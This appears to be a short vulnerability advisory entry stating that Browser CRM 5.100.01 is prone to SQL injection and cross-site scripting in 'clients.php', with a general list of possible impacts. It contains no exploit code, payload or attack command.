BrowserCRM 5.100.1 - 'clients.php' Cross-Site Scripting

source: https://www.securityfocus.com/bid/51060/info
     
Browser CRM is prone to multiple SQL-injection vulnerabilities and multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
     
Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
     
Browser CRM 5.100.01 is vulnerable; prior versions may also be affected.
